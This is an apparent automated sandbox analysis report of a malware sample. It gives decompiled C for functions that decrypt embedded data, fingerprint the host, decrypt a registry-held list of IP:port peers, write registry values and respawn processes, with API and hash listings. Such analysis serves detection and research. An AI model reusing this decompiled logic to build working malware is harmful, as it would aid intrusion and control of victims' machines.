					if( *((intOrPtr*)(_t161 - 0x5c)) == 0) {
						 *(_t161 - 1) = 1;
					}
					 *((intOrPtr*)(_t161 - 0x5c)) = WaitForSingleObject( *(_t161 - 0x34), 0x3e8);
					if( *((intOrPtr*)(_t161 - 0x5c)) != 0) {
						TerminateThread( *(_t161 - 0x34), 0);
					}
					L17:
					EnterCriticalSection(_t161 - 0x28);
					if( *(_t161 - 0x30) != 0) {
						VirtualFree( *(_t161 - 0x30), 0, 0x8000); // executed
						 *(_t161 - 0x30) = 0;
						 *(_t161 - 0x2c) = 0;
					}
					L19:
					LeaveCriticalSection(_t161 - 0x28);
					 *(_t161 - 0x68) =  *(_t161 - 0x3c);
					E040097C0( *(_t161 - 0x68));
					if(( *(_t161 - 1) & 0x000000ff) == 0) {
						L21:
						continue;
					}
					break;
				}
				L22:
				DeleteCriticalSection(_t161 - 0x28);
				return  *(_t161 - 1);
			}

APIs

EnterCriticalSection.KERNEL32(?,?), ref: 040040AF
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 040040C6
TerminateThread.KERNEL32(00000000,00000000), ref: 040040E6
ResetEvent.KERNEL32(00000000), ref: 040040F7
LeaveCriticalSection.KERNEL32(?), ref: 04004101
CreateThread.KERNEL32 ref: 04004118
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 040041DD
CreateThread.KERNEL32 ref: 040041F7
WaitForSingleObject.KERNEL32(?,000000FF), ref: 0400420C
FindCloseChangeNotification.KERNEL32(?), ref: 04004216
DeleteCriticalSection.KERNEL32(?,?), ref: 040042D1

Memory Dump Source

Source File: 00000006.00000002.599674473.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000006.00000002.599568479.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600041047.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600183506.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4000000_pigalicapi.jbxd

Similarity

API ID: CreateCriticalSectionThread$Event$ChangeCloseDeleteEnterFindFreeLeaveNotificationObjectResetSingleTerminateVirtualWait
String ID:
API String ID: 371823443-0
Opcode ID: 580c7b9ddcd011ba509f7f8c1de4a743a931a1a6ddda21c3e831cc7138ee1551
Instruction ID: 702011c11570e1e92260a3d6b56584955ffb64453fe6a6bb8e3d44d087611259
Opcode Fuzzy Hash: 580c7b9ddcd011ba509f7f8c1de4a743a931a1a6ddda21c3e831cc7138ee1551
Instruction Fuzzy Hash: 0E51D7B5A40308AFEB18DF94D899BDDBBB1FB48704F108219F605BB2C0D774A940CB54

Uniqueness

Uniqueness Score: -1.00%

Function 04004510 Relevance: 13.7, APIs: 9, Instructions: 173
filememoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04004510(intOrPtr _a4, intOrPtr _a8) {
				char _v5;
				char _v780;
				void* _v784;
				char _v1308;
				long _v1312;
				void* _v1316;
				long _v1320;
				intOrPtr _v1324;
				intOrPtr _v1328;
				signed int _v1332;
				intOrPtr _v1336;
				intOrPtr _v1340;
				intOrPtr _v1344;
				void* _t90;
				void* _t94;
				int _t97;
				signed char _t101;
				signed char _t114;
				void* _t153;
				void* _t155;
				void* _t156;

				_v5 = 0;
				if(_a4 == 0 || _a8 == 0) {
					L24:
					return _v5;
				} else {
					E04007D20(E04007D20( &_v780,  &_v780, 0, 0x300),  &_v1308, 0, 0x208);
					_t155 = _t153 + 0x18;
					GetModuleFileNameA(0,  &_v1308, 0x208);
					_t90 = CreateFileA( &_v1308, 0x80000000, 7, 0, 3, 0x80, 0); // executed
					_v784 = _t90;
					if(_v784 == 0xffffffff) {
						goto L24;
					}
					_v1312 = GetFileSize(_v784, 0);
					if(_v1312 == 0) {
						L22:
						if(_v784 != 0) {
							CloseHandle(_v784);
						}
						goto L24;
					}
					_t94 = VirtualAlloc(0, _v1312, 0x3000, 4); // executed
					_v1316 = _t94;
					if(_v1316 == 0) {
						goto L22;
					}
					_v1320 = 0;
					_t97 = ReadFile(_v784, _v1316, _v1312,  &_v1320, 0); // executed
					if(_t97 == 0 || _v1320 != _v1312) {
						L20:
						if(_v1316 != 0) {
							VirtualFree(_v1316, 0, 0x8000);
							_v1316 = 0;
						}
						goto L22;
					} else {
						FindCloseChangeNotification(_v784); // executed
						_v784 = 0;
						_t101 = E040047F0(_v1316, _v1312, _a8); // executed
						_t156 = _t155 + 0xc;
						if((_t101 & 0x000000ff) == 0) {
							if(_v1316 != 0) {
								VirtualFree(_v1316, 0, 0x8000); // executed
								_v1316 = 0;
							}
							_v1328 = _a4 +  *((intOrPtr*)(_a4 + 0x3c));
							_v1324 = _v1328 + ( *(_v1328 + 0x14) & 0x0000ffff) + 0x18;
							_v1332 = 0;
							while(_v1332 < ( *(_v1328 + 6) & 0x0000ffff)) {
								_v1336 =  *((intOrPtr*)(_v1324 + 0xc + _v1332 * 0x28)) + _a4;
								if( *((intOrPtr*)(_v1324 + 8 + _v1332 * 0x28)) <=  *((intOrPtr*)(_v1324 + 0x10 + _v1332 * 0x28))) {
									_v1344 =  *((intOrPtr*)(_v1324 + 0x10 + _v1332 * 0x28));
								} else {
									_v1344 =  *((intOrPtr*)(_v1324 + 8 + _v1332 * 0x28));
								}
								_v1340 = _v1344;
								_t114 = E040047F0(_v1336, _v1340, _a8); // executed
								_t156 = _t156 + 0xc;
								if((_t114 & 0x000000ff) == 0) {
									_v1332 = _v1332 + 1;
									continue;
								} else {
									_v5 = 1;
									goto L20;
								}
							}
							goto L20;
						}
						_v5 = 1;
						goto L20;
					}
				}
			}

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000208), ref: 0400456C
CreateFileA.KERNEL32(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 0400458B
GetFileSize.KERNEL32(000000FF,00000000), ref: 040045AD
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 040045D6
ReadFile.KERNEL32(000000FF,00000000,00000000,00000000,00000000), ref: 04004617
FindCloseChangeNotification.KERNEL32(000000FF), ref: 0400463E

Part of subcall function 040047F0: CryptAcquireContextA.ADVAPI32(00000000,00000000,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000), ref: 0400482A
Part of subcall function 040047F0: GetLastError.KERNEL32 ref: 04004834
Part of subcall function 040047F0: CryptAcquireContextA.ADVAPI32(00000000,00000000,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 04004850
Part of subcall function 040047F0: CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 040048EB
Part of subcall function 040047F0: CryptHashData.ADVAPI32(00000000,?,00000010,00000000), ref: 0400490B
Part of subcall function 040047F0: CryptDeriveKey.ADVAPI32(00000000,00006801,00000000,00000001,00000000), ref: 0400493C
Part of subcall function 040047F0: CryptDecrypt.ADVAPI32(00000000,00000000,00000001,00000000,?,000002F0), ref: 0400496F
Part of subcall function 040047F0: CryptDestroyKey.ADVAPI32(00000000), ref: 04004982

VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 0400468F
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 040047C0
CloseHandle.KERNEL32(00000000), ref: 040047E0

Memory Dump Source

Source File: 00000006.00000002.599674473.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000006.00000002.599568479.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600041047.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600183506.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4000000_pigalicapi.jbxd

Similarity

API ID: Crypt$File$Virtual$AcquireCloseContextCreateFreeHash$AllocChangeDataDecryptDeriveDestroyErrorFindHandleLastModuleNameNotificationReadSize
String ID:
API String ID: 2585753175-0
Opcode ID: 41b532c3e78661638157de6fb4dddf30e3a22c3d81890ac6d0c72b3463451886
Instruction ID: c94ea80790bf0b6d8dbf2583483555f7aa9864fa89971da120b97b62dce4532c
Opcode Fuzzy Hash: 41b532c3e78661638157de6fb4dddf30e3a22c3d81890ac6d0c72b3463451886
Instruction Fuzzy Hash: 92815D74A056189BEB64CF14DC94BAAB7B4AF49306F0091D9E608BB2C1D774ABC1CF54

Uniqueness

Uniqueness Score: -1.00%

Function 04009D20 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 133
stringCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E04009D20(intOrPtr _a4, CHAR* _a8, int _a12) {
				char _v5;
				intOrPtr _v12;
				intOrPtr _v16;
				long _v20;
				intOrPtr _v24;
				char _v292;
				intOrPtr _v296;
				char _v404;
				long _v408;
				char _v673;
				char _v676;
				intOrPtr _v680;
				long _v684;
				signed int _v688;
				short* _v692;
				signed int _v696;
				unsigned int _v700;
				intOrPtr _v704;
				char _v900;
				signed int _v904;
				signed int _v908;
				int _v912;
				int _t71;
				void* _t74;
				short** _t76;
				void* _t114;

				_v5 = 0;
				if(_a4 != 0 && _a8 != 0 && _a12 > 0) {
					_v12 = 0x20;
					_v24 = 6;
					_v684 = 0;
					_v20 = 0;
					_v408 = 0;
					_v16 = 0x19660d;
					_v296 = 0x3c6ef35f;
					_v680 = _a4;
					if(GetSystemDirectoryA( &_v676, 0x103) != 0) {
						_v673 = 0;
						_t71 = GetVolumeInformationA( &_v676,  &_v292, 0x103,  &_v684,  &_v20,  &_v408,  &_v404, 0x63); // executed
						if(_t71 != 0) {
							_v688 = 0xffffffff;
							E04007D20(_t71,  &_v900, 0, 0xc0);
							_v700 = 0;
							_t74 = E04009F70( &_v900, 0xc0,  &_v700); // executed
							if(_t74 != 0) {
								_v904 = 0;
								while(_v904 < _v700 >> 2) {
									_v688 = _v688 ^  *(_t114 + _v904 * 4 - 0x380);
									_v904 = _v904 + 1;
								}
							}
							_v696 = _v684;
							_v908 = 0;
							while(_v908 < 4) {
								 *(_v680 + _v908 * 4) = 0x3c6ef35f + _v696 * 0x0019660d ^ _v688;
								_v696 = 0x3c6ef35f + _v696 * 0x19660d;
								_v908 = _v908 + 1;
							}
							_t76 =  &_v692;
							__imp__StringFromCLSID(_a4, _t76); // executed
							_v704 = _t76;
							if(_v704 >= 0) {
								_v912 = WideCharToMultiByte(0, 0, _v692, 0xffffffff, _a8, _a12, 0, 0);
								lstrcpynA(_a8,  &(_a8[1]), _v912 - 2);
								_v5 = 1;
							}
							__imp__CoTaskMemFree(_v692);
						}
					}
				}
				return _v5;
			}

APIs

GetSystemDirectoryA.KERNEL32 ref: 04009D9A
GetVolumeInformationA.KERNEL32(?,?,00000103,00000000,00000000,00000000,?,00000063), ref: 04009DDD

Part of subcall function 04009F70: GetAdaptersInfo.IPHLPAPI(00000000,04009E2D), ref: 04009FEB

StringFromCLSID.OLE32(00000020,?), ref: 04009EF7
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,0019660D,00000000,00000000,00000000), ref: 04009F25
lstrcpynA.KERNEL32(0019660D,0019660C,?), ref: 04009F46
CoTaskMemFree.OLE32(?), ref: 04009F57

Strings

, xrefs: 04009D4B

Memory Dump Source

Source File: 00000006.00000002.599674473.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000006.00000002.599568479.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600041047.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600183506.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4000000_pigalicapi.jbxd

Similarity

API ID: AdaptersByteCharDirectoryFreeFromInfoInformationMultiStringSystemTaskVolumeWidelstrcpyn
String ID:
API String ID: 2697952880-3916222277
Opcode ID: 019f01e5d103752babcd14cd7d8c94bd9c738822c2c1009ff713c67dab5555ec
Instruction ID: 5e89223982a4db5088977870fe710af53f8bde251be69ccbe6f0708d183867dd
Opcode Fuzzy Hash: 019f01e5d103752babcd14cd7d8c94bd9c738822c2c1009ff713c67dab5555ec
Instruction Fuzzy Hash: 695139B0A043189FEB25CF50CC88BEAB7B9BB44304F14C2D9E5096A281DB74AB84CF51

Uniqueness

Uniqueness Score: -1.00%

Function 04001390 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 122
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04001390(signed int __eax, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				signed char* _v8;
				char _v12;
				char _v16;
				intOrPtr _v20;
				long _v24;
				void* _v28;
				long _v32;
				signed int _t52;
				signed int _t57;
				intOrPtr _t64;
				void* _t76;
				void* _t103;
				void* _t104;
				void* _t106;
				void* _t107;

				_t52 = __eax;
				if(_a4 == 0 || _a8 == 0 || _a4 == 0 || _a16 == 0) {
					return _t52 | 0xffffffff;
				} else {
					_v24 = 0;
					_t57 = RtlAllocateHeap(GetProcessHeap(), 8, _a8 + 5); // executed
					_v28 = _t57;
					if(_v28 != 0) {
						E04007B70(_v28, _a4, _a8);
						E04007B70(_v28 + _a8, "====", 4);
						_t106 = _t104 + 0x18;
						_v8 = _v28;
						_v20 = 3;
						while(_v20 == 3) {
							_v32 = 0;
							while(_v32 < 4) {
								while( *_v8 != 0x3d) {
									_t76 = E04001500( *_v8 & 0x000000ff);
									_t106 = _t106 + 4;
									if(_t76 >= 0) {
										break;
									}
									_v8 =  &(_v8[1]);
								}
								 *((char*)(_t103 + _v32 - 0xc)) =  *_v8;
								_v8 =  &(_v8[1]);
								_v32 = _v32 + 1;
							}
							_t64 = E04001580( &_v16,  &_v12);
							_t107 = _t106 + 8;
							_v20 = _t64;
							if(_a16 >= _v20) {
								E04007B70(_a12,  &_v12, _v20);
								_t106 = _t107 + 0xc;
								_a12 = _a12 + _v20;
								_a16 = _a16 - _v20;
								_v24 = _v24 + _v20;
								continue;
							}
							return HeapFree(GetProcessHeap(), 0, _v28) | 0xffffffff;
						}
						RtlFreeHeap(GetProcessHeap(), 0, _v28); // executed
						return _v24;
					}
					return _t57 | 0xffffffff;
				}
			}

APIs

GetProcessHeap.KERNEL32(00000008,-00000005), ref: 040013C6
RtlAllocateHeap.NTDLL(00000000), ref: 040013CD
GetProcessHeap.KERNEL32(00000000,00000000), ref: 0400149E
HeapFree.KERNEL32(00000000), ref: 040014A5
GetProcessHeap.KERNEL32(00000000,00000000), ref: 040014EA
RtlFreeHeap.NTDLL(00000000), ref: 040014F1

Strings

====, xrefs: 040013FA

Memory Dump Source

Source File: 00000006.00000002.599674473.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000006.00000002.599568479.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600041047.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600183506.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4000000_pigalicapi.jbxd

Similarity

API ID: Heap$Process$Free$Allocate
String ID: ====
API String ID: 168621272-1026985228
Opcode ID: cc6d638cfefe3820553d32bbcecc0cddb825681ad85667f70979d716b4f01239
Instruction ID: c6e28297ba35799b7f22f7dab3aca0fae7ec72587fc4187f79a8e8c8e7655232
Opcode Fuzzy Hash: cc6d638cfefe3820553d32bbcecc0cddb825681ad85667f70979d716b4f01239
Instruction Fuzzy Hash: F7414CB5D04209EBEB04DFA4C884BEE7BB5FF44309F108619E515BB2D0D735AA45CB92

Uniqueness

Uniqueness Score: -1.00%

Function 04007970 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 115
memoryCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E04007970(intOrPtr* _a4) {
				long _v8;
				void* _v12;
				int _v16;
				long _v20;
				intOrPtr _v24;
				signed int _v28;
				intOrPtr _v32;
				signed int _v36;
				void* _v40;
				char _v44;
				signed int _v48;
				intOrPtr _v52;
				void* _t50;
				intOrPtr _t52;
				void* _t58;
				intOrPtr _t64;
				intOrPtr _t72;
				intOrPtr _t83;
				void* _t96;
				void* _t97;
				void* _t98;

				_v8 = 0;
				if(_a4 != 0) {
					_v16 = 0x8c;
					_v20 = 0x75bc;
					_t50 = VirtualAlloc(0, 0x75bc, 0x3000, 4); // executed
					_v12 = _t50;
					if(_v12 != 0) {
						_t72 =  *0x400e28c; // 0x4013f88
						_t83 =  *0x40118a0; // 0x4013b88
						_t52 = E0400A400(_t83, _t72, _v12, 0x75bc); // executed
						_t97 = _t96 + 0x10;
						_v24 = _t52;
						if(_v24 >= 0x92) {
							_v28 = _v24 - 0x8c;
							_t58 = E04008A70(_v12 + 0x8c,  &_v28, _v12, 0x8c, 0x40130e8, 0x254);
							_t98 = _t97 + 0x18;
							if(_t58 != 0) {
								_v32 = _v12 + 0x8c;
								_v36 = _v28 / 6;
								_v40 = VirtualAlloc(0, _v36 * 0x28, 0x3000, 4);
								if(_v40 != 0) {
									_v48 = 0;
									while(_v48 < _v36) {
										_t64 = E04007B70( &_v44, _v48 * 6 + _v32, 4);
										_push(_v44);
										L0400B1EC();
										_v52 = _t64;
										wnsprintfA(_v48 * 0x28 + _v40, 0x28, "%s:%u", _v52,  *(_v32 + 4 + _v48 * 6) & 0x0000ffff);
										_t98 = _t98 + 0x20;
										_v8 = _v8 + 1;
										_v48 = _v48 + 1;
									}
									 *_a4 = _v40;
								}
							}
						}
						VirtualFree(_v12, 0, 0x8000); // executed
					}
				}
				return _v8;
			}

APIs

VirtualAlloc.KERNEL32(00000000,000075BC,00003000,00000004), ref: 040079A3

Part of subcall function 0400A400: RegOpenKeyExA.KERNEL32(80000001,80000001,00000000,000F003F,00000000), ref: 0400A45C
Part of subcall function 0400A400: RegQueryValueExA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 0400A480
Part of subcall function 0400A400: RegCloseKey.KERNEL32(00000000), ref: 0400A494

VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 04007AE3

Part of subcall function 04008A70: CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000), ref: 04008AD3
Part of subcall function 04008A70: GetLastError.KERNEL32 ref: 04008ADD
Part of subcall function 04008A70: CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 04008B0C
Part of subcall function 04008A70: CryptImportKey.ADVAPI32(00000000,00000000,?,00000000,00000001,00000000), ref: 04008B37
Part of subcall function 04008A70: CryptImportKey.ADVAPI32(00000000,00000000,00000000,00000000,00000001,00000000), ref: 04008B5E
Part of subcall function 04008A70: CryptDecrypt.ADVAPI32(00000000,00000000,00000001,00000000,00000000,00000000), ref: 04008B7A
Part of subcall function 04008A70: CryptDestroyKey.ADVAPI32(00000000), ref: 04008B87
Part of subcall function 04008A70: CryptDestroyKey.ADVAPI32(00000000), ref: 04008B91
Part of subcall function 04008A70: CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 04008B9D

VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 04007A4B
inet_ntoa.WS2_32(?), ref: 04007A90
wnsprintfA.SHLWAPI ref: 04007ABC

Strings

Kobucgekyxca, xrefs: 040079C5
%s:%u, xrefs: 04007AAB

Memory Dump Source

Source File: 00000006.00000002.599674473.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000006.00000002.599568479.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600041047.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600183506.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4000000_pigalicapi.jbxd

Similarity

API ID: Crypt$ContextVirtual$AcquireAllocDestroyImport$CloseDecryptErrorFreeLastOpenQueryReleaseValueinet_ntoawnsprintf
String ID: %s:%u$Kobucgekyxca
API String ID: 1891311255-965644793
Opcode ID: 79f967d1a52c2aaee155b9d7bfa010675069804c64fe547678c39a65b43ec606
Instruction ID: d327848a4ae889dd371e71d646ee9b038911c4fd72f1be7e57aa30bfb263aa34
Opcode Fuzzy Hash: 79f967d1a52c2aaee155b9d7bfa010675069804c64fe547678c39a65b43ec606
Instruction Fuzzy Hash: 8C410FB5E04208EBFB04DF94C945BEEBBB5EB88705F14C159E6057B2C0D779AA40CB64

Uniqueness

Uniqueness Score: -1.00%

Function 04005E30 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 79
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04005E30(signed char _a4) {
				char* _v8;
				char _v9;
				void* _v16;
				void* _v20;
				char* _v24;
				int _v28;
				signed int _v29;
				int _v36;
				char _v68;
				int _v72;
				char* _t31;
				long _t33;
				long _t37;
				char* _t45;

				_v9 = 0;
				_t31 =  *0x40118a0; // 0x4013b88
				_v8 = _t31;
				_t45 =  *0x4011894; // 0x4013fc4
				_v24 = _t45;
				_v16 = 0x80000001;
				if(( *0x401435a & 0x000000ff) != 0) {
					_v16 = 0x80000002;
				}
				_v20 = 0;
				_t33 = RegOpenKeyExA(_v16, _v8, 0, 0xf003f,  &_v20); // executed
				if(_t33 == 0) {
					_v36 = 0x20;
					_v28 = 0x20;
					_v29 = 0;
					_t37 = RegQueryValueExA(_v20, _v24, 0, 0,  &_v68,  &_v28); // executed
					if(_t37 == 0 && _v28 == 0x10) {
						_v29 = 1;
						if((_a4 & 0x000000ff) != 0) {
							RegDeleteValueA(_v20, _v24);
						}
					}
					_t48 = _v29 & 0x000000ff;
					if((_v29 & 0x000000ff) == 0) {
						_v72 = 0x10;
						E04009BD0(_t48,  &_v68, 0x10);
						RegSetValueExA(_v20, _v24, 0, 3,  &_v68, 0x10);
						_v9 = 1;
					}
					RegCloseKey(_v20); // executed
				}
				return _v9;
			}

APIs

RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,000F003F,00000000), ref: 04005E7E
RegQueryValueExA.KERNEL32(00000000,?,00000000,00000000,?,00000020), ref: 04005EB2
RegDeleteValueA.ADVAPI32(00000000,?), ref: 04005ED6
RegSetValueExA.ADVAPI32(00000000,?,00000000,00000003,?,00000010), ref: 04005F0B
RegCloseKey.KERNEL32(00000000), ref: 04005F19

Strings

, xrefs: 04005E8C
, xrefs: 04005E93

Memory Dump Source

Source File: 00000006.00000002.599674473.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000006.00000002.599568479.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600041047.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600183506.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4000000_pigalicapi.jbxd

Similarity

API ID: Value$CloseDeleteOpenQuery
String ID: $
API String ID: 647993726-227171996
Opcode ID: 42940f5d5e5c91af521085ddcd9b03f77c986a907cdf4f49274909f40d6ddbf2
Instruction ID: 89e6ea7d5f7cd1f3b8914b5f239817843937aaeba4a6099ce7b548add1ef5737
Opcode Fuzzy Hash: 42940f5d5e5c91af521085ddcd9b03f77c986a907cdf4f49274909f40d6ddbf2
Instruction Fuzzy Hash: 3A317370A04249AFEF04CFD4D855BFFBBB9AB44704F14815CEA40B7281D7B96A00CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 04004AC0 Relevance: 12.1, APIs: 8, Instructions: 68
sleepsynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E04004AC0(intOrPtr _a4) {
				intOrPtr _v8;
				long _v12;
				intOrPtr _v16;
				void* _v20;
				intOrPtr _t31;
				void* _t50;

				_v8 = _a4;
				if(_v8 != 0) {
					__imp__CoInitialize(0);
					L2:
					while(1) {
						if( *((intOrPtr*)(_v8 + 8)) <= 0 || WaitForSingleObject( *(_v8 + 0x24), 0x64) != 0x102) {
							L6:
							Sleep(0x1388); // executed
							continue;
						}
						EnterCriticalSection(_v8 + 0xc);
						_v20 = 0;
						_v12 = 0;
						_t31 = E04008250( *((intOrPtr*)(_v8 + 4)),  *((intOrPtr*)(_v8 + 8)),  &_v20,  &_v12); // executed
						_t50 = _t50 + 0x10;
						_v16 = _t31;
						LeaveCriticalSection(_v8 + 0xc);
						if(_v16 <= 0) {
							goto L6;
						}
						E040062B0(_v20, _v16); // executed
						VirtualFree(_v20, 0, 0x8000); // executed
						SetEvent( *(_v8 + 0x24));
						__imp__CoUninitialize();
						goto L8;
					}
				}
				L8:
				return 0;
			}

APIs

CoInitialize.OLE32(00000000), ref: 04004AD8
WaitForSingleObject.KERNEL32(?,00000064), ref: 04004AF4
EnterCriticalSection.KERNEL32(-0000000C), ref: 04004B08
LeaveCriticalSection.KERNEL32(-0000000C), ref: 04004B44
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 04004B6B
SetEvent.KERNEL32(?), ref: 04004B78
Sleep.KERNEL32(00001388), ref: 04004B85
CoUninitialize.OLE32 ref: 04004B90

Memory Dump Source

Source File: 00000006.00000002.599674473.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000006.00000002.599568479.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600041047.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600183506.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4000000_pigalicapi.jbxd

Similarity

API ID: CriticalSection$EnterEventFreeInitializeLeaveObjectSingleSleepUninitializeVirtualWait
String ID:
API String ID: 3462651527-0
Opcode ID: 34458be81e427262741f71e07dfc47b0f17ea7c68782a946b32513cabd3e92be
Instruction ID: a8de0d0852ad7639ac4a8efdad63c4b5a832734fa442b81c8ae14f5e2abf7ac4
Opcode Fuzzy Hash: 34458be81e427262741f71e07dfc47b0f17ea7c68782a946b32513cabd3e92be
Instruction Fuzzy Hash: 1C213075A00208EFE704EF94D958FAEB7B9EB48305F10C658E605B7281D739EE84CB90

Uniqueness

Uniqueness Score: -1.00%

Function 040077B0 Relevance: 10.6, APIs: 7, Instructions: 80
sleepCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E040077B0(void** _a4) {
				void** _v8;
				intOrPtr _v12;
				long _v16;
				long _v20;
				long _v24;
				void** _v28;
				int _t37;
				void* _t40;
				void* _t60;

				if(_a4 != 0) {
					__imp__CoInitialize(0);
					_v12 = 0x96;
					_v16 = 0x1388;
					_v8 = _a4;
					if( *_v8 != 0) {
						_v20 = 0;
						while(_v20 < 0x96) {
							_v24 = 0;
							_t37 = GetExitCodeProcess(_v8[3],  &_v24); // executed
							if(_t37 == 0) {
							} else {
								if(_v24 != 0x103) {
									CloseHandle(_v8[3]);
									Sleep(0x7530);
									_t40 = E04002070( *_v8);
									_t60 = _t60 + 4;
									_v8[3] = _t40;
									if(_v8[3] != 0) {
										_v20 = _v20 + 1;
										if((_v8[2] & 0x00000004) != 0) {
											E04002510(_v8[3], 0x400e290);
											_t60 = _t60 + 8;
										}
										goto L11;
									} else {
									}
								} else {
									Sleep(0x1388); // executed
									L11:
									continue;
								}
							}
							break;
						}
						VirtualFree( *_v8, 0, 0x8000);
						_v28 = _v8;
						E040097C0(_v28);
					}
					__imp__CoUninitialize();
				}
				return 0;
			}

APIs

CoInitialize.OLE32(00000000), ref: 040077C2
GetExitCodeProcess.KERNEL32 ref: 0400780E
Sleep.KERNEL32(00001388), ref: 04007826
CloseHandle.KERNEL32(00001388), ref: 04007835
Sleep.KERNEL32(00007530), ref: 04007840
VirtualFree.KERNEL32(00000096,00000000,00008000), ref: 040078A5
CoUninitialize.OLE32 ref: 040078BD

Memory Dump Source

Source File: 00000006.00000002.599674473.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000006.00000002.599568479.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600041047.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600183506.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4000000_pigalicapi.jbxd

Similarity

API ID: Sleep$CloseCodeExitFreeHandleInitializeProcessUninitializeVirtual
String ID:
API String ID: 2326833528-0
Opcode ID: 40971a79621a4715f304bef9d1a112be756b69aca4ab6b623c127bbca2746a66
Instruction ID: 786529089a386be0191f5a1a0158813805cafbe076d78358bbe760b2cac44d20
Opcode Fuzzy Hash: 40971a79621a4715f304bef9d1a112be756b69aca4ab6b623c127bbca2746a66
Instruction Fuzzy Hash: 62318E74A00209EBFB54CF90C848BAEB7B1FB44305F14C668E905B7280D779BE40CB91

Uniqueness

Uniqueness Score: -1.00%

Function 04005CD0 Relevance: 10.6, APIs: 7, Instructions: 72
filememorystringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04005CD0(CHAR* _a4) {
				long _v8;
				void* _v12;
				long _v16;
				void* _v20;
				long _v24;
				void* _t29;
				void* _t34;

				_v8 = 0;
				if(_a4 != 0 && lstrlenA(_a4) >= 4) {
					_t29 = CreateFileA(_a4, 0x80000000, 7, 0, 3, 0x80, 0); // executed
					_v12 = _t29;
